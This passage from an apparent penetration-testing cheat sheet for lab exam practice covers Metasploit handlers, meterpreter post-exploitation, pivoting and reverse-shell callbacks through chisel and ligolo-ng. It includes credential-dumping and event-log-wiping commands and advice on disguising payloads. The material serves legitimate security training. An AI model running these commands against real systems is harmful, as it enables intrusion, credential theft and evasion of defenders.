LHOST tun0 # accepts an INTERFACE name, not just an IP 397 set LPORT 443 398 show targets; set target 6 # override Automatic once I know the exact build 399 # swap/inspect the attached payload: 400 grep meterpreter show payloads # built-in grep to trim hundreds of rows 401 set payload windows/x64/meterpreter/reverse_tcp 402 run # (alias: exploit). Add -j to run as a background job (keeps the port/listener alive) 403 ``` 404 405 > [!warning] Watch out 406 > - **`set` vs `setg`**: `set` dies on module change; `setg` sticks until console restart — use `setg RHOSTS`/`setg LHOST` when chaining several modules at one host. 407 > - `local_exploit_suggester` "appears to be vulnerable" ≠ guaranteed — it's a candidate list, try them in turn; "service running, could not be validated" is a weaker maybe. 408 > - If a module isn't installed, drop the `.rb` from Rapid7's GitHub into `/usr/share/metasploit-framework/modules/exploits/<os>/<svc>/` and `reload_all`. 409 > - `check` before `run` when the module supports it — some exploits are single-shot (crash the service, lose the box). 410 411 --- 412 413 ### Catch an external payload — multi/handler 414 415 **What to look for** → I delivered a payload *outside* any MSF exploit module (msfvenom file via upload/FTP/web) and need MSF to catch the callback (for the meterpreter toolkit). 416 417 **Exploit** 418 ```bash 419 msf6 > use exploit/multi/handler 420 msf6 > set payload windows/meterpreter/reverse_tcp # MUST equal the msfvenom -p string exactly 421 msf6 > set LHOST $LHOST ; set LPORT 1337 422 msf6 > set ExitOnSession false # don't drop the handler when one session dies — keep catching 423 msf6 > run -j # -j = background job, survives while I trigger the payload 424 # now trigger: browse to http://$IP/shell.aspx (or run the .exe/.elf / deploy the .war) 425 ``` 426 427 > [!warning] Watch out 428 > The handler payload has to be **byte-identical in type** to what msfvenom built — staged↔stageless, tcp↔https, x86↔x64 all matter. A mismatch = "sending stage" then silence, or an instant dead session. Same `LPORT` on both sides. `ExitOnSession false` is the fix for "I got one session, it died, and now nothing catches my re-trigger." 429 430 --- 431 432 ### Sessions, jobs & Meterpreter post-ex 433 434 **What to look for** → a live session I want to keep while I pivot to other work, and the meterpreter command surface once I've landed. Deep dives: 10 - Sessions and Jobs · 11 - Meterpreter · cheatsheet meterpreter. 435 436 **Manage sessions/jobs** 437 ```bash 438 # inside a session: background it WITHOUT killing it 439 meterpreter > background # or bg / [Ctrl]+[Z] 440 msf6 > sessions # list all footholds (like browser tabs) 441 msf6 > sessions -i 1 # re-enter session 1 442 msf6 > jobs -l # running handlers/jobs 443 msf6 > jobs -k 0 # kill one job (frees its port); jobs -K = kill all 444 ``` 445 446 **Meterpreter quick-ref** 447 448 | Command | What it does | 449 |---|---| 450 | `getuid` / `sysinfo` / `getprivs` | who / where / what privs am I | 451 | `ps` | find a juicier process to target | 452 | `steal_token <pid>` | impersonate its token (no migrate) — fast priv bump | 453 | `migrate <pid>` | move into a stable/privileged process | 454 | `getsystem` | try built-in SYSTEM escalations | 455 | `hashdump` | local SAM LM/NTLM (needs SYSTEM) | 456 | `load kiwi` + `creds_all` | mimikatz-equiv (SAM/LSA/cached/tickets) — supersedes hashdump | 457 | `lsa_dump_sam` / `lsa_dump_secrets` | LSA secrets → service-account plaintext (lateral fuel) | 458 | `upload <f>` / `download <f>` | file transfer over the encrypted channel (see [note 04](/sheets/pentest-workflow/foothold-file-transfers)) | 459 | `portfwd add -l 3300 -p 3389 -r <ip>` | forward one internal port to my localhost | 460 | `run post/...` | run a post module against this session | 461 | `shell` | drop to a native cmd.exe/bash channel when meterpreter falls short | 462 | `execute -f cmd.exe -i -H` | spawn a hidden interactive process | 463 | `run post/multi/gather/...` | loot modules against this session | 464 | `resource <script.rc>` | replay a saved command set inside the session | 465 | `clearev` | wipe Windows event logs — **loud & destructive; rarely in scope** | 466 | `webcam_list` / `screenshot` | situational awareness on user workstations (scope-dependent) | 467 | `timestomp <f>` | alter file MAC times — forensic-evasion, rarely scoped | 468 469 **Local privesc via a backgrounded session** 470 ```bash 471 meterpreter > bg 472 msf6 > use post/multi/recon/local_exploit_suggester 473 msf6 > set SESSION 1 ; run # post modules take SESSION, not RHOSTS 474 msf6 > use exploit/windows/local/ms15_051_client_copy_image 475 msf6 > set SESSION 1 ; set LPORT 1338 ; run # fresh LPORT avoids collision with the first handler 476 ``` 477 478 > [!warning] Watch out 479 > - `getuid` → **"Access is denied"** means low-priv context (web app pool), **not** a broken session — check `ps` for a better token before reaching for a full local exploit. 480 > - `meterpreter > whoami` fails ("Unknown command") — it's not a Windows CLI, use `getuid`. Use `shell` when you genuinely need native commands. 481 > - **Never `Ctrl+C` a live handler** — it can leave the port bound with no usable session. Background with `bg`/`jobs`, kill with `jobs -k`. 482 > - `kiwi` needs the session to be **x64 + SYSTEM** for full cred material; on x86 sessions `migrate` into an x64 process first. 483 484 --- 485 486 ### Pivot with a Meterpreter session (autoroute / portfwd / SOCKS) 487 488 **What to look for** → a compromised host with a second NIC / route into an internal subnet I can't reach directly. This is the **MSF-native** pivot; for raw L3 (full nmap, no proxychains) I prefer **Ligolo-ng / Chisel in STAGE 10** — use this when I'm already living in msfconsole. Full tables: Tunneling. 489 490 **Exploit** 491 ```bash 492 # route MSF's own traffic through session 1 into the internal net 493 meterpreter > run autoroute -s 172.16.5.0/24 # quick form 494 meterpreter > bg 495 msf6 > use post/multi/manage/autoroute # module form 496 msf6 > set SESSION 1 ; set SUBNET 172.16.5.0 ; run 497 # forward a single internal port to my localhost (e.g. reach internal RDP) 498 meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19 # then: xfreerdp /v:127.0.0.1:3300 ... 499 # full SOCKS so ANY external tool reaches the internal net 500 msf6 > use auxiliary/server/socks_proxy 501 msf6 > set SRVPORT 1080 ; set VERSION 5 ; run -j 502 # /etc/proxychains4.conf → socks5 127.0.0.1 1080 503 proxychains nmap -sT -Pn -n -p445,3389,5985 172.16.5.19 504 proxychains evil-winrm -i 172.16.5.19 -u "$U" -p "$P" 505 ``` 506 507 > [!warning] Watch out 508 > - `autoroute` only routes traffic **originating inside MSF** — external tools (nmap, evil-winrm, impacket) need the `socks_proxy` + `proxychains` combo, not just the route. 509 > - **SOCKS is TCP-only** → nmap through it must be `-sT -Pn -n` (no SYN, no ICMP) or you get empty results — same constraint as the chisel/Ligolo SOCKS path in STAGE 10. 510 > - `portfwd` is per-port and stacks up fast; for sweeping an internal subnet, a full SOCKS proxy (or Ligolo's L3 interface) beats a pile of forwards. 511 512 --- 513 514 ### Callbacks through a pivot — ligolo-ng & chisel 515 516 **What to look for** → I've pivoted to an internal segment (Stage 10) and now need shells *from those internal hosts* to reach my MSF/nc listeners. The traffic has to ride the tunnel **back** — this is the "callback through the pivot" pattern. Full setup lives in [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot); the shell-side notes here. 517 518 > [!tools] Stage this (from `attachments/`) 519 > [ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256.asc)) 520 > [ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256.asc)) 521 > [chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256) · [GPG signature](/downloads/pentest-workflow/chisel.exe.sha256.asc)) 522 > [chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/chisel_linux_amd64.sha256.asc)) 523 > [ligolo-ng](https://github.com/nicocha30/ligolo-ng) agents (per-OS) for TUN-based L3 pivoting, and [chisel](https://github.com/jpillora/chisel) binaries for TCP/UDP-over-HTTP tunnels + reverse SOCKS. 524 525 ```bash 526 # ── chisel reverse SOCKS (pivot host calls OUT to me; I reach in via SOCKS) ── 527 chisel server -p 8443 --reverse # Pwnbox 528 chisel client $LHOST:8443 R:socks # pivot host → SOCKS5 on 127.0.0.1:1080 529 # ── catching a shell from a DEEP internal host: chisel remote port-forward ── 530 chisel client $LHOST:8443 R:4444:127.0.0.1:4444 # deep host dials Pwnbox:4444 via pivot 531 # ── ligolo-ng: add a listener on the agent that relays to my handler ── 532 ligolo-ng » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 # in the agent session 533 # now generate payloads with LHOST=<pivot host's internal IP> LPORT=4444 — the callback 534 # lands on the agent's listener and relays down the tunnel to my nc/multi-handler. 535 ``` 536 537 > [!tip] CPTS tip 538 > The gotcha that eats exam time: payloads generated for internal hosts must call back to an IP **the internal host can reach** (the pivot/agent IP), *not* my tun0. Then the agent's `listener_add` (ligolo-ng) or `R:port` (chisel) relays it to my real listener. Draw the path once on paper: `internal host → pivot IP:4444 → tunnel → my 4444`. 539 > 540 > Also: ligolo-ng needs its **proxy** running on my box and a TUN interface up (`sudo ip tuntap add user $USER mode tun ligolo; sudo ip link set ligolo up`, then `start` in the proxy session) before agents can dial back — the "agent connects but no routes work" failure is almost always a missing `ip route add <internal>/24 dev ligolo`. Full sequence in [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot). 541 542 --- 543 544 ### OPSEC & shell hygiene (wrap-up) 545 546 > [!example] CPTS exam flow in 6 steps 547 > 1. Get execution primitive (web shell / RCE) → 2. listener up on 443 → 3. fire the reverse one-liner matching the target's interpreters → 4. TTY upgrade (`python3 -c 'import pty;...'` + `stty raw -echo; fg` + rows/cols) → 5. if post-ex needed, msfvenom + multi/handler (`ExitOnSession false`) → 6. enumerate toward [Stage 09](/sheets/pentest-workflow/privilege-escalation), loot toward [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot). Practise the whole chain until it's muscle memory — the exam clock punishes re-reading this note. 548 549 - **Payload naming (T1036):** `shell.exe`/`met.exe` are triage bait. Rename to plausible system-ish names and log the mapping in notes. 550 - **Port choice:** 443/80 blend with egress; 4444/1337 are watchlisted outside labs. One port per listener; record `port → payload → target`. 551 - **Staged vs stageless reliability:** staged meterpreter is smaller but dies on lossy tunnels mid-stage; stageless singles survive rough links and can be caught by bare `nc` — choose per link quality, not habit. 552 - **Plaintext shells are wire-visible:** `bash -i >& /dev/tcp/...` is trivially readable by any IDS. Prefer `openssl`/socat-TLS or meterpreter `reverse_https` when inspection is a risk. 553 - **Webshells and payloads on disk are IOCs:** delete dropped `.php`/`.aspx`/`.exe` artifacts at the end, kill leftover bind listeners, and note every planted file for the report (T1070.004). 554 - **Sessions are perishable:** services restart, webshells get wiped, AV eats payloads. Get enumeration data (and loot) off the box *early* rather than assuming the shell survives the night. 555 - **Track the shell inventory:** one line per live shell in notes — `host / user-context / catch port / payload type / staged artifact path`. When the engagement report needs "what ran where" for ATT&CK mapping, this list is the source of truth. 556 - **Exit cleanly:** background or `exit` sessions deliberately, kill handlers via `jobs -k`, and confirm no stray bind listeners remain on targets (`ss -lntup` / `netstat -ano` where reachable). 557 558 --- 559 560 > [!navigation] Continue the attack flow 561 > **Previous:** [Foothold Toolkit — File Transfers](/sheets/pentest-workflow/foothold-file-transfers) 562 > 563 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 564 > 565 > **Next:** [Stage 03 — Service Enumeration](/sheets/pentest-workflow/service-enumeration)